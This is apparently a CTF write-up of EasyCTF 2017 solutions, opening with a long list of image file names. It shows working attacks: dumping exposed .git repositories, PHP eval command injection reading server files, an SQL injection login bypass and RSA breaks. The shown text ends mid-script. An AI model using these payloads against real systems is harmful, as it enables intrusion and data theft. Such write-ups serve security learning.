1bKioXFNzDnRfpduNqZi.png  7uvgCTvTFfM9G4DtKKcN.png  DBY3OoqXsucmMb6t3mJg.png  I4letZDvCkdfT2qkZWUO.png  mNLrqUxtkLrQVPn8t190.png  rxA0CuLDwvN4ktsSaTrT.png  wjjFapdGib3U4w2SunHe.png
1FJQRoLvoUk6dK8FVNjp.png  7vHtS8FCXWbCLWxLmpTg.png  dIHccMRVtK1aeo3Tu3pf.png  IcheUNZpqGfuzZBuJzKm.png  mPZv0cdL3VUjcSv4PjK7.png  RZQOx6ulMa9M5xmXNGrD.png  WNGiUCafQdsgMfi95zpZ.png
1GK7XZ78XVYeX3tLssaT.png  7zEk6677mkdrbG9a5Cmx.png  dKjVyD4nDDNhOKTUsqu9.png  ICMTuvDgqoKGsf94ikS6.png  MQ34e8uP9Ak4hbwXzInq.png  rZRSZkpAtVYrTue3EMOa.png  wRtxQH4YI72hM01At4Rg.png
1jwLMHNve77Y7jg7FPDf.png  803yXDpkB18551kXlipO.png  dp3YvnbtsZnSrbj0gjpM.png  ICPwQjYMNfBIfXo2EDrk.png  MTrWyWwwYRfzZxcI7Wgn.png  s0Y5xcO73tPOjG1hSEso.png  WTWPaPmpVd9ICHzEfpVw.png
1ujNfgkGWyVFxso6qkdk.png  8azdy7wCJ6GNgUjm3bCb.png  Dr10tlUD2YqvujTLAYBd.png  iFbgdVLIk4OHzWXeRZNu.png  mybhZSAX7weBOX9zIo3b.png  S2qKtjDFcBV7bLvMfZto.png  wUgcljJJbobySs3ZghJN.png
1uM0TtgMjkfK0FiEzoFS.png  8CJRtiDQD52ox2TU8dxj.png  drlINgP6ygynfQ8UuHup.png  iIkwWdRqRCpLPzAc9Sw7.png  N1FDsZrXNGP8VgykkC6i.png  SaMV1cu4sSJmbmtHh74x.png  wUYcf7S3XkltCI6ZyBBA.png
1YdkmIkWurJS7w9jLKHR.png  8n4QsGlDdClEkzoHXs9a.png  DtCHW15tI994qn8dFlt1.png  IitJH9DGV1sdjGBpr06R.png  n2kLPyhpOJlvD16Q71eT.png  sFAUKPxMEnQZMA1rM75M.png  Wv0i6Mc3JZPnpLy20LrI.png
24ePL62Op8Ws4cYIQISq.png  8nbgUJ06fC23vrZRhxf2.png  dz765ZXyVRABu4h5BiYN.png  Im71WM69YTZ0WMH3lyZ8.png  n3S9dPpAbDtwa4hueCkI.png  SHcd0S7LnJyAhdXxOWsZ.png  wvDm23PBInuqoXnuSf4u.png
26SZsmleP2YUthYMjeNs.png  8PsonPDN0WY2Eb53k4r5.png  e1Bl4T59HrpU0agB9ECY.png  IT211UQDvBVyR7erj1Om.png  N6nOmXhgdrx1fkY3MNvp.png  sN2nxjBALsg4gqsXM2Wv.png  wVZdZ38yirov7nmjldEK.png
2AqLsSvyAQznkTtX2xew.png  8qPGy9NBmb2ImgQ2hsib.png  E7TbUvVZjksCrbDuoJea.png  ivkKG2I6s4qwhzKqyOHZ.png  N6tLjyg8qeCjLeVSWNZs.png  SoSlXyLeSXTf4K2wNMem.png  WWgQcv3aWx1hNNhsqgyi.png
2ceCkELMstjS27dMxCSl.png  8VB54me0TA00qm57tISt.png  ebO3ZkR1AUnIOYmPRqF5.png  IZQ9rYSlf3tw0h6AbvAn.png  n7Ka9d5SWD49HfCJ3oB5.png  sPOQ7fCCYOTKADyBXVnH.png  WyjVGV2mLGHztwOGWNgZ.png
2fmYCXhDGKd8A5D3GdtF.png  8XqZVU3J1LaAVzWOnVdD.png  eIiGhAQm6zUnOT21weLz.png  j3BGNsi7mkfuR7D9ragy.png  NBofDP3xpEJpaCQn68Ob.png  SSqNcuPVbuq8KKbI8PTI.png  wzlm5fcNxoTLoBpdWhnq.png
2GD4zwS8RgYm8UD0NGxn.png  9d536g81nAb9s4jWxCKG.png  Ej7OKIWRR3miFWT12tIa.png  j3OC9MAuxLsN1IekpN6Y.png  NCk1xnHJUTJqNDMOO32t.png  SvcRWh3kn3oaEoQ4bXQc.png  x3j2OvTUontnOugU1Ltq.png
2GddkJaYx3Vgaa7TpiN1.png  9fkSyVUSq5do6abGYUUb.png  eko5NetzcuEh83P2eZIf.png  j6GrG2tTQMbCnm2jMIX0.png  nF0GHGGIXkq5liR54Nsd.png  T0c5V3vU5IMpcdW0kc7l.png  x4Gc7lUgvC798wEeSTgh.png
2Kj3l5oXosoKBmEsMmPK.png  9JwQdGnQPtdP9hcVjDLC.png  elnTRSHrBQmmoUpwI7gR.png  j8fwCs0GcItKUjWZbV4r.png  nIBF4rdyQEaDI8CzCrMq.png  T0m70mqwKna03xKbdlLI.png  X5S4F3ISQ1SeUqOXSkUq.png
2PMckmedbpZVGJFcRekU.png  9lY6Bx138HprfzNASGRD.png  elW4VfQ4qYY94SAYXuZM.png  JaDaCaH2IvOTjLUY4cEx.png  nKvyRUSuj2Q4q088sB3x.png  TaQKdHpEJz7XD36O41aC.png  X7MzFYs3QurEf6HBzHIk.png
2q2zsDOQglx68EYmpGr8.png  9nbOnHMaaeiePSdrGCi0.png  er6rm4Av8ITtQ8MyIDeA.png  JDen5jiLwJIaQPAv4liF.png  nKWljlgkSeFvcsiMbYoZ.png  tCMxqnGwM0iaqNOWYwHQ.png  x7VF9QbrpyEGiKFVY5NU.png
39rJnSVQ08Xin9aSrDDR.png  9nTEXevZiJWXe2RcQ0SY.png  EslQfoqafmEQN7lUfC2h.png  Jecf6u4a2luDjxJloiSK.png  nmiAk6y1n2m0GnyKLyDb.png  tDTeALa22qJNn1vIaNcI.png  XcCGC341b6pNwLEdB3sl.png
3bYieVOsvgeZMwS5chyD.png  a0wDHTxSvEYquNbWm8hh.png  evFQIeY37plP2sQXmyB1.png  jglLEv9xKxSfdB72kMRA.png  nN2Pj48FDYE5ndNc3BaX.png  tEFykEP59WqfdhTDucVD.png  xdG49JLPlel3sycEXKq2.png
3CNLZ6ppc482zxobKcwm.png  a2YTBKQTMpDnpvMQxzto.png  EvIhR2bK7iBoSG4ITqPt.png  jhGI88sRtJS2OvZi3yBn.png  nPa3VguU1HHeX2GBrUr0.png  tl2rlgUENhzIYTWD7Sm2.png  xgV274JFwoWkhjQFHTfT.png
3EWkpY0LbHxP3es3ktvu.png  a4Q0dxYn9b1Y4WN3IEiG.png  EVviB5egBCmFd9QQ4DnM.png  jqeIBra2diB5C8xopKFR.png  NtPTpH1n0wEnhJYHbFhn.png  tMBSEGeuj6CjMBenXZlD.png  XNKUGSHnlMp1NMHPz62a.png
3fzoepWRKpxmpA9PxTNQ.png  A7pUSnQsr9QdqLdGb2Zl.png  EwELEaXCYOJ4CukpAucZ.png  JSHdQ9X5sGLUfhw1PhM1.png  NV7MZShpA6dib8ZDTEXg.png  TOowtHt7dD1C8FgcVWMM.png  XnVlui493J1uhAW1bHaC.png
3gCyaMBdnvbnr1APpMFT.png  aaiPTJXCIgbObWSic9wK.png  EwFxp5JKqvN1YQf1hlfd.png  jTf585qjldXddUZOSYNS.png  NxBGIT4egHCoRlyf5ab6.png  TVXox0IwSg5cVnE2qUOd.png  xs54ra8qvFVOXlbACiJC.png
3M4CJU3wWczeI7O2XnLS.png  AEZUtZ6olbaNJOmq2M5T.png  extEZvS0iV0TuOsYF0zm.png  jWVkmvTiS8VGenm4NGre.png  O4eSfFaL6IZhxJjQwa8V.png  tyk1iHx7pV7clj5xk5OH.png  XXGA5VX3nnnJXSVDfriv.png
3VWxeP2ve70b2mqqGXda.png  Agg20qjJJxmjxzZHD90f.png  f5AebauMLyPTWfl4wKjY.png  JwYVBg6LhvRhQYSF3b2p.png  o8F1Xqes74FMlA4gYvm9.png  U1IuznZzxvXBsQ9vF4Rg.png  xyyu2V7iMzLMku1Rqw9O.png
3wLIgzCTKd97PzBkp2Cr.png  ajtsgSudFGJaSQOa4uWT.png  F5UKnXrPm8Jdqe98EbFH.png  k00uFs4pBrItHCgJwepU.png  OjcHgrqwe8EVBtpP7eZp.png  U8RA9ATvOrtTYI2cgdO3.png  y0H7BO27NaRDk3C3FaVk.png
3WnzqpdoqsrsWuNitwNr.png  AKbeB1Ju6hIKk5o9rwdA.png  F7ERs01T6nlUG7HVfUTE.png  k0joEcy0qsmE5APsCQpT.png  oLbVaR8yNkODjjDQG4gP.png  UcAafchXMmhvhWLFsTxf.png  Y1hgP4XXRUvVHVr6VVKD.png
44EUs0pa4EfQm8vvJjo7.png  AMCmM1T8jlclCsAmaYsq.png  f8qJ38jVF0sG8icM63KE.png  k0x3Mi5LWIyNafVFYami.png  onkJ71AOpJ7fEkGadskg.png  ucxLYuKdFWe3LreMrSmS.png  y23KfylNc9uncvr6lQC0.png
4BjKcgpVSDpjtUOPmjSE.png  aQrKmy3abupAVDpOKeU3.png  FBN2VIcMuJvDKoqpa6R1.png  K3MzplxbglNjfKH1AcOs.png  oOzXyWU4fn8YBPvgSNzt.png  UeEcphazhjcJI9ayJER4.png  Y5dN3mrJIXxbxkj9cU8J.png
4cc2sqBbnD5HvSSfuzE3.png  Au27uo4WZDcI2YMkoEqi.png  fDV9UqaR0DdjpyrYvB2C.png  k9Bf9Qdx6ENI9a4V9ktJ.png  Ot89AVAugeMned8fE9cr.png  uH9SbspTlA28fzlPxnon.png  Y7jpCxNvklEZxe3Gh5zt.png
4CYCuswfGnGo1kUqSXKs.png  b4oltMJ7Da136Y2Hmgve.png  fEU0bTpYU37OBYuhoUS5.png  KDKp0XzzBLT3YG53zpGO.png  owcKAa4fCmom6Y3aTs68.png  UJ6GOg5AeihYxWA2VKk7.png  y7LAEbpt0JoGOYUzsZW9.png
4J2byRRCrJvHPZs5PP1Q.png  bcAhjsa1fXnMbYFnTD2W.png  FFQQn4NwMXl6K26Y3uO9.png  KeuSSeWHrQFTCmrEHAYq.png  P75hn0VCl8sU969U80My.png  uLmuRafouSHTbV0ysuTk.png  yb2KzlmgiI3Kzsm5m6Oy.png
4JxggNLjrLV0r04gI50W.png  bEIXVBUDg53RdkPsBivw.png  fh5AMlVhtw7KntgL9Cwh.png  kPmKdSVIbkwkooHUauED.png  pd5lAqT3Z2b7Wt0eN4ge.png  uM11Q5FfbSCWjDDEgKzP.png  yh1cibtZ8wNLKWCU9JUk.png
4Kc1r52G6fYA1TIVa215.png  bfKaQVYva3aA1WuOOJcR.png  FHvcWJmGyEWNmqoxKgbj.png  kpTYHMIy81NaniofCfzT.png  PGbJPFVPk5BZI2CObaoo.png  unCY8SrVh7QoJO1P7fvu.png  yKEuKhfeQCGENaX2LzxU.png
4li9N86JReFKMzd5JRDT.png  BFWwYA8EPr01GLDtDRMg.png  fKxRhI6A8fENsWuPFPd0.png  kq3hOBJQZG8bwV5YeDJF.png  PMPI7a5A4t4IjA3tnrzO.png  unurnKtQ5eDzDSOMZZuN.png  yLq9FlAg3iFPd52xMKEe.png
4p4rAR2MbheFmjd55A65.png  BIX5k2XQOlQQEyagKRZf.png  fpGYb30vi0UC9Si0Vzgr.png  KSz1xktHU8S1YEMbHBEn.png  pmr67PDJ3SqpGIRTyLbK.png  uS4ep4YYZSnlA4crUiAl.png  YMOQaySYivSKJKpemSGl.png
4q1BHp239ZfQfXgEIktP.png  BJdADscDKy4thpWA6vUd.png  FScjBlVapzEwgjZlm2gE.png  KyfVsY20TyGmogyWeVDS.png  PUSmWYfu2TjvVU9Y5zNY.png  uuSr92fFgh7OETCDF86U.png  YnLLwnJP354hf0VcmQ72.png
4QISeETCQ4JhM7RLkSEp.png  BksI3PN1H2eszRWUdtuV.png  fVacku957nZi1btWCjGt.png  l37Uilp8zXATIEiSS5xf.png  pVzNeXkgkoSm5SR7WTYJ.png  UVF2KMNgCksD5YrWDaYt.png  yP1wlbelcjM2bwTmihkx.png
4TOphP1bMxCmydUmYZxZ.png  BKvsggAXtfM7BDv7ns40.png  fw62Yed1wWn65npHr9Cx.png  L3fNcZyFovOem8YPCSAL.png  pwuCNoIXd45FPnkBkFuT.png  UVjup5fPDIFWJ9kMVkSb.png  YQFypP1PJgGqq4AG1MgD.png
4VvQnndiyVsufqJJGNnp.png  bl9BimiQOpw99yAYFbbD.png  FXpi4ahSC1xXOVzs0aLT.png  l3YOGvMyVZrthJGO9wPc.png  PxrlbJOBlz9ngAdSkJmN.png  UvsOYxGwGjLWZw9yAiUy.png  yQGmPXnB1SRQhN9s4rLW.png
54gxSl42z52PxncQiWTd.png  bLYNp13mYjNx745jMS7N.png  FYUMfAf4iaHhVaq3BdDt.png  L4Vm0z9dythaLRndXdUU.png  PXTj4HB5jFPvKVO7l0yO.png  uWaWBJT9TXYCqhrfX2oT.png  YR5QIdRM06Mwk6jDeNlh.png
55DVktK57ku06YGmbg6j.png  buQ606MpriqmirQAPR1T.png  g1gogZtx25JRdziC5ban.png  l6lIQTP85YwTQABETAqB.png  pyQasbpYyWV6ptGZTn4x.png  ux2XDQYAIYKgVMiegGrj.png  ytToQkvktbt4bvpjBQy8.png
55W5RnUDC9hg3T0VwDz9.png  BVEcdvZ5tumnM732jnZz.png  g379RXpwEz6n0dgzoHCK.png  l6OQgr34Os0nriHn9iRG.png  Q1vBPKMS4yfvpEUYtvfa.png  uySqHFkFFp6yP1S82glL.png  yUN4AfBDuXnWIyqXkzPc.png
5dHR7jWz2DFPRGIgR2cN.png  bZkesjKQcvHfyRSpc2nF.png  g6FAoH56T1zcrQyHrLkk.png  l9zufg9c8R05swPFOFDl.png  Qc6ukswwuWrx7yu83HQc.png  uz7JsHvRXa8f2flhW9xG.png  Z2OGkP7ALt5GU786p9rg.png
5g9yjy1OW0hzzWImfWwd.png  c0crfYLbJUd2mi3TnI8m.png  GByiEjV4uiH4n0sZmw9a.png  LAgsO0AZVKfFnc8sItWA.png  qDEnPZiXm2UYRFGVmFC8.png  v0fhgIKsKUKpPdiqACZz.png  Z7t7Pc3UUHeTI3muIp6H.png
5i3dS13cqXiPY4JRVDq6.png  C5zAe1OafRiAeMHyVkBK.png  gdxgHqNA9EKsuNVE3ieF.png  lbaY9ruXz3IZ7CSA1WBB.png  qEDQrYCQcnTCNJE7eDu3.png  v55A0ioD33XNYAl4lfTb.png  z7TkS9jAFF1ZQRhfyPFY.png
5iuLB5tHKGQLdqSQSFt3.png  c6fDE99MtUa3TOoH5vZA.png  gEbOoHZw8G4l6HYDfe3B.png  Ld2cUpzyNUhsaHEgYlCK.png  QF7iI9kuqCC7jYcrRMSV.png  v5kVh6t7uca6hX11sOXU.png  Z83XRAQmJveQwqpobknQ.png
5kche83imCmyzrIAmUhG.png  C704oTItNhk8kr9qgZYW.png  gj03Ks6d7htd8ubeZxir.png  ldcGF62EnBNnEAco9pCn.png  QJYDpHXasvuG5fy2TCMf.png  v7SQm9i5NdzLnmeWrsWR.png  ZbgkD4ReSvnVx5YvtRtg.png
5VREy6lF6budZRo50tgR.png  cadc1OkSA4oFNWTGt674.png  GllSYPLWfrmPknX9SJWk.png  lf7udExZe5cVkNzVZgjB.png  QkzvsYfg9xdG1WP1edww.png  v8a3McWWd4Z0bs3nx63L.png  zces2DjRMYzhY4agaI2K.png
5WDP8nyV4lMwDora1zh5.png  cbCp1FfW7G0XA9wXxtWR.png  gLyg09LRoLImBcsS16Fb.png  LfR8hACsKogzroseyZuD.png  QL6Pen5knww8l8SHS3e1.png  VAAOArdmwiNx7mVoMuj3.png  ZDFaHmF8FQfBxg5PWsZP.png
5WrAPqkRIqrYKmCJuGsv.png  cBolTRRbeqFZ9dDfSQw7.png  GMRqX1aIUdRatg4m8UNJ.png  LfxorwTKiL32vtTfBjU0.png  qmQNfVv1f3jKOxWPgCjs.png  VBkV6ucJr3akLlXOM4EV.png  Ze3FYfd7ukInlADsfO9b.png
664fac768ipfdjg2FTCL.png  cCBTgjVeQ2yHHh2dZBJw.png  GoyiTuXOaqAhEv2G2YzC.png  LIDLkJ6jX0uBs4yyoEbl.png  QpmPpfPO2lkIZCcfleKr.png  vchyTWkwDCfeoVvt4HNp.png  zEnc6SciU2Fq4UnkkZnx.png
6AmyNLUSMKkGgqV38waT.png  cDhWk8dkX2A8XH62S3K0.png  h0eG1HGJJlXFBlW5LvyC.png  LINWKK6pMh2YfG7Z5hkX.png  qpOHkHC4gnwHVOL8J48F.png  Vd6N2thTdlXBRI2R4Vr1.png  ZGNt88DkQ9AJthhu23f7.png
6aZA1hJbTaqwyluH9eOH.png  cfcRQMdVKrstCcO3fDwX.png  H0hKXPNcFXOTJ30edrod.png  lJ8hc6AMOdkHXNy6ytUE.png  QTXZuwSkpjmMX61xkDvn.png  veLqVd3uNqhyYToH1Dfj.png  ZHr113brL6pZ5thqxJra.png
6DGiJ0S8dnfqxrVKCvtd.png  Cfmcty2QLlV8QDzd7BJa.png  h3d0mOApnx3XoL9foSD7.png  lkRXwkCtFf4Y1aoEcEsD.png  qUyXgJUqfpG3kR3HLYyt.png  VFPYjgfFdbRtlEFHncpU.png  znTjhBPLL6VcrsFmWKXD.png
6Fgk5QZmazcxNjlVTkun.png  CJDCdtdhUWl7lIbwWZod.png  H9hz80Y4x45lZMjzFdvd.png  LLCuoWjeloRMKwtBOOl0.png  qyft55SYZ212pRqvhEjp.png  VgpDcezwpd6JNyCXg5yY.png  zOlj9jFs3d3OVAzT4s5V.png
6hFeBbeH6YFRKhA1lodM.png  cjGh7tXAGWcq3WF5PFeK.png  Hbnp0n9n6J5IDqivLZZv.png  LlkOe9wEvnkUDttZuqe9.png  r04hovh7JpDIv5xs7dFx.png  VGS0vNHK6RohTRzWBwFe.png  ZpBSnf6EhIhrVKLx8YXD.png
6j0hSmtsNLvDnTcu6ifR.png  cmH4VDzUWgMjwvjvbFvp.png  hCfFVXLUkU7gv7dtIhnL.png  lmfuxyxlkZ66kezDYupx.png  r4GIAU28Pu2wZIoq7fAN.png  VJn6v0MJl8MfpVwt8Jgz.png  ZPYiMZnxfxHUlYrnp1Eo.png
6JLps3OwqMGFAZNzf5IS.png  CmiicGpMvQAjnbTTIzEF.png  HCLBPISNQpgAVriGoIze.png  Lqh9zNbaZrC9VEPUJbXM.png  r6C5y7h2NaXb1tQ4lB1A.png  Vk55zHq7gyRFKYKrvsdP.png  zr7HGz8I77VT33hign9I.png
6qD606qXcQDnIWEnNUZG.png  cofuqKgYtHR37YZaBbdC.png  hfFT9oI0o4glG1EafP2f.png  LuhbSOftwtmYnasonIXJ.png  rDCPACgyfswqL5h0qh0T.png  vlv6jI5NZPKnHTgdLpAC.png  zuMgTgUeZnYUhl8jnW7R.png
6tKgVP2GEwxRCm96wAay.png  Cq3rfde3SqMOTER5seY9.png  hMX7GoKM4zaS95x4jwoo.png  LVHjYIcQTNYD7l2ncJcQ.png  re6oYoQkK11G3cd7bJmy.png  Vnc5a2gqmpD2uG4c0VEE.png  ZWddwftEDtfimNtuZfCN.png
6ueuThgbsu52nhMyfyqj.png  Cqkohd5z1O5G6Q5rmgtj.png  hNeCKbUoZT2g77wIVsYj.png  lVximFIIxyoEXFDKNjrt.png  rgFlvg90oK26H70fTFlt.png  VpMvcUNECEfrWRUpORxz.png
6y3ElDsNQ9CWc1TiflEI.png  CtBOXCx7OXLk7R4zaKtG.png  HSNc8lj1MvfELWceufeC.png  LWN1po6oiDKyqBTRftI4.png  ri7WeSw9u8W1RVuKEU3u.png  vUSe46H9rsS2zBA059Eg.png
6yOmm62HKQvFrNG9e3h5.png  CTK03A9OCB5nSJolLBGu.png  Ht6uUtZ6gUx9yxB2HlpU.png  m1vcAJPE8mxzIMaCcZJ6.png  rIOJUcLbZEiy1lSmRCou.png  vuVLzCVE2rBaxtsyrVAe.png
76cseHRCZ7C5DEBB0ryq.png  cuZPnmaj91ifcaI9lkje.png  HuBaJcTAT53nFQzMZrHw.png  MBzKunCQk7t5eVDwxsZr.png  rjwHdO3aZc8T7GAKLbNf.png  W1rQ3yvQ2TZ2M6NxMJe3.png

Edge 1

$ wget -r --reject-regex '\?' http://edge1.web.easyctf.com/.git/
$ cd edge1.web.easyctf.com
$ git log
commit ee9061b25d8a35bae8380339f187b44dc26f4999
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:11:47 2017 +0000

    Whoops! Remove flag.

commit afdf86202dc8a3c3d671f2106d5cffa593f2b320
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:11:45 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <fermayo@gmail.com>
Date:   Sat Dec 14 07:36:18 2013 -0800

    Initial commit

$ git diff afdf86202dc8a3c3d671f2106d5cffa593f2b320 | grep easyctf
-easyctf{w3_ev3n_u53_git}

Edge 2

$ git clone https://github.com/internetwache/GitTools
$ ./GitTools/Dumper/gitdumper.sh http://edge2.web.easyctf.com/.git/ edge2.web.easyctf.com
Destination folder does not exist
Creating edge2.web.easyctf.com/.git/
Downloaded: HEAD
Downloaded: objects/info/packs
Downloaded: description
Downloaded: config
Downloaded: COMMIT_EDITMSG
Downloaded: index
Downloaded: packed-refs
Downloaded: refs/heads/master
Downloaded: refs/remotes/origin/HEAD
Downloaded: refs/stash
Downloaded: logs/HEAD
Downloaded: logs/refs/heads/master
Downloaded: logs/refs/remotes/origin/HEAD
Downloaded: info/refs
Downloaded: info/exclude
Downloaded: objects/15/ca375e54f056a576905b41a417b413c57df6eb
Downloaded: objects/a4/8ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Downloaded: objects/00/00000000000000000000000000000000000000
Downloaded: objects/26/e35470d38c4d6815bc4426a862d5399f04865c
Downloaded: objects/6b/4131bb3b84e9446218359414d636bda782d097
Downloaded: objects/7b/456b0125e74b44d1147182019c704c53132013
Downloaded: objects/8a/c4f76df2ce8db696d75f5f146f4047a315af22
Downloaded: objects/ef/6648fbe67b66177281ae47390dc85ee101c18b
Downloaded: objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
Downloaded: objects/71/8a78c464ed47bf916ac8287612b8ad941f433d
Downloaded: objects/37/ec93a14fdcd0d6e525d97c0cfa6b314eaa98d8
Downloaded: objects/7c/27b010ab7a003468fa52dc311958aa90ee93fd
Downloaded: objects/6a/27de374c0e214d1296e7efcb9248afbda4144f
Downloaded: objects/3e/80375f25952db9f5d0ec91eff61f0dcdb73881
Downloaded: objects/96/8c8df7909f842e19469796df59fe6c5ba62740
Downloaded: objects/bf/b7f616dccce6861eee15c98bb2239bd23916a6
Downloaded: objects/ee/e07900b99065703cdb4e9b6690e7ea80f459c9
Downloaded: objects/bd/083286051cd869ee6485a3046b9935fbd127c0
Downloaded: objects/14/032aabd85b43a058cfc7025dd4fa9dd325ea97
Downloaded: objects/a7/f8a24096d81887483b5f0fa21251a7eefd0db1
Downloaded: objects/5d/f8b56e2ffd07b050d6b6913c72aec44c8f39d8
Downloaded: objects/cb/6139863967a752f3402b3975e97a84d152fd8f
Downloaded: objects/e0/6d2081865a766a8668acc12878f98b27fc9ea0
Downloaded: objects/09/432cab87abee259ce62242ba90217c4e7f8b58
Downloaded: objects/61/67622cecfb5c0f04156363565e3d4109fc55c5
Downloaded: objects/ed/3905e0e0c91d4ed7d8aa14412dffeb038745ff
Downloaded: objects/b9/3a4953fff68df523aa7656497ee339d6026d64
Downloaded: objects/94/fb5490a2ed10b2c69a4a567a4fd2e4f706d841
Downloaded: objects/14/13fc609ab6f21774de0cb7e01360095584f65b
Downloaded: objects/9e/612858f802245ddcbf59788a0db942224bab35
Downloaded: objects/64/539b54c3751a6d9adb44c8e3a45ba5a73b77f0
Downloaded: objects/8a/2e99a535d47e5798b167d1074ae2c77cab21e7
Downloaded: objects/9b/cd2fccaed9442f1460191d6670ca5e8e08520c
Downloaded: objects/d1/608e37ffa979b8689bfb868ad8b061b191f6f6
$ cd edge2.web.easyctf.com
$ git log
commit a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:12 2017 +0000

    Prevent directory listing.

commit 6b4131bb3b84e9446218359414d636bda782d097
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:10 2017 +0000

    Whoops! Remove flag.

commit 26e35470d38c4d6815bc4426a862d5399f04865c
Author: Michael <michael@easyctf.com>
Date:   Mon Mar 13 07:32:09 2017 +0000

    Initial.

commit 15ca375e54f056a576905b41a417b413c57df6eb
Author: Fernando <fermayo@gmail.com>
Date:   Sat Dec 14 12:50:09 2013 -0300

    initial version

commit 8ac4f76df2ce8db696d75f5f146f4047a315af22
Author: Fernando Mayo <fermayo@gmail.com>
Date:   Sat Dec 14 07:36:18 2013 -0800

    Initial commit
$ git diff 26e35470d38c4d6815bc4426a862d5399f04865c | grep easyctf
-easyctf{hiding_the_problem_doesn't_mean_it's_gone!}

問題名からしてCookieなので

$ curl -s -D- http://cookieblog.web.easyctf.com/ | grep Set-Cookie:
Set-Cookie: __cfduid=d7cd0f27a2315c12311e7a565f8b98fcb1489559702; expires=Thu, 15-Mar-18 06:35:02 GMT; path=/; domain=.easyctf.com; HttpOnly
Set-Cookie: flag=easyctf%7Byum_c00kies%21%21%21%7D
$ echo 'easyctf%7Byum_c00kies%21%21%21%7D' | urlencode -d
easyctf{yum_c00kies!!!}

TinyEval

phpとしてevalされる 文字数制限あるのでいい感じにする

$ curl http://tinyeval.web.easyctf.com/ -F cmd='echo`cat *`'
<p>Give me something to eval!</p>

FROM tutum/lamp:latest
EXPOSE 80
RUN sed -i 's/AllowOverride FileInfo/AllowOverride All/' /etc/apache2/sites-enabled/000-default.conf
RUN a2enmod rewrite
RUN rm -rf /app/*
COPY . /app/
RUN echo "Options -Indexes\n" > .htaccess
CMD '/run.sh'easyctf{it's_2017_anD_we're_still_using_PHP???}
<p>Give me something to eval!</p>

<?php
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if (strlen($cmd) > 11) {
        echo "sorry, your string is too long :(";
    } else {
        echo eval($cmd . ";");
    }
}
?>

<form method=post>
<input type=text name=cmd>
<input type=submit>
</form>
<form method=post>
<input type=text name=cmd>
<input type=submit>
</form>

SQL Injection 1

' or 1 = 1 --でなくて" or 1 = 1 --でないとだめ

$ curl http://injection1.web.easyctf.com/ -F username=admin -F password='" or 1 = 1 -- '
<html>

<head>
    <title>Injection 1</title>
</head>

<body>
    <h1>Login</h1>
    
    
        <p>Thanks for logging in. Your flag is <code>easyctf{a_prepared_statement_a_day_keeps_the_d0ctor_away!}</code></p>
    
</body>

</html>

Zooooooom

$ exiftool -b -ThumbnailImage d9040024afd9d38b73c72e30f722cf09e1093e3c_hekkerman.jpg > thumb.jpg
$ exiftool -b -ThumbnailImage thumb.jpg > thumb.1.jpg

easyctf{d33p_zo0m_HeKker_2c1ae5}

RSA 3

#!/usr/bin/env python3
n = 0x27335d21ca51432fa000ddf9e81f630314a0ef2e35d81a839584c5a7356b94934630ebfc2ef9c55b111e8c373f2db66ca3be0c0818b1d4eda7d53c1bd0067f66a12897099b5e322d85a8da45b72b828813af23
e = 0x10001
c = 0x9b9c138e0d473b6e6cf44acfa3becb358b91d0ba9bfb37bf11effcebf9e0fe4a86439e8217819c273ea5c1c5acfd70147533aa550aa70f2e07cc98be1a1b0ea36c0738d1c994c50b1bd633e3873fc0cb377e7

# http://factordb.com/
p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780869
q = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871
assert n == p * q

# decode
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
import gmpy2
d = int(gmpy2.invert(e, (p-1)*(q-1)))
key = RSA.construct([ n, e, d ])
m = key.decrypt(c)
print(long_to_bytes(m).decode())

easyctf{tw0_v3ry_merrry_tw1n_pr1m35!!_417c0d}

RSA 4

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
import gmpy2
p = 13013195056445077675245767987987229724588379930923318266833492046660374216223334270611792324721132438307229159984813414250922197169316235737830919431103659
q = 12930920340230371085700418586571062330546634389230084495106445639925420450591673769061692508272948388121114376587634872733055494744188467315949429674451947
e = 100
c = 2536072596735405513004321180336671392201446145691544525658443473848104743281278364580324721238865873217702884067306856569406059869172045956521348858084998514527555980415205217073019437355422966248344183944699168548887273804385919216488597207667402462509907219285121314528666853710860436030055903562805252516
n = p * q
e1 = 4
e2 = 25
assert e == e1 * e2
d2 = int(gmpy2.invert(e2, (p-1)*(q-1)))
m2 = pow(c, d2, n)
m1 = int(gmpy2.isqrt(m2))
m  = int(gmpy2.isqrt(m1))
print(long_to_bytes(m).decode())

easyctf{m0dul4r_fuN!}

My USB

$ foremost 2c370b79d147127064f019dcb05bba1aa917c552_usb.img
$ open output/jpg/00002494.jpg

flag{d3let3d_f1l3z_r_k00l}

Let Me Be Frank

推測によるvigenere cipher解読する

  • key: lsnwallpw
  • plaintext: you should be happy, i put some extra words here to make this easier to solve. easyctf{better_thank_the_french_for_this_one}

Paillier Service

Paillier暗号の準同型性やるだけ。それでも比較するとまともな問題だった。

flag: 44073117240618665780675193850837939995438219250244678211539041436428154743261238082817577099306521708734123381615432054274681465095612422847370622010652215512660940106734460138798004151939831278940754163448609294265458598883535128433424615303280599380544523443593952238464672302887846705279608801286723167548136016323776193330983364067235836166569465230366

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
import functools
import operator
from Crypto.Util.number import bytes_to_long
parser = argparse.ArgumentParser()
parser.add_argument('host', nargs='?', default='paillier.tcp.easyctf.com')
parser.add_argument('port', nargs='?', default=8570, type=int)
parser.add_argument('--log-level', default='debug')
args = parser.parse_args()
context.log_level = args.log_level

def encrypt(m, r):
    '''
    c = (1 + n)**m * r**n % n**2
    '''
    with remote(args.host, args.port) as p:
        p.recvuntil('Enter a message to encrypt (int): ')
        p.sendline(str(m))
        p.recvuntil('Enter r (int): ')
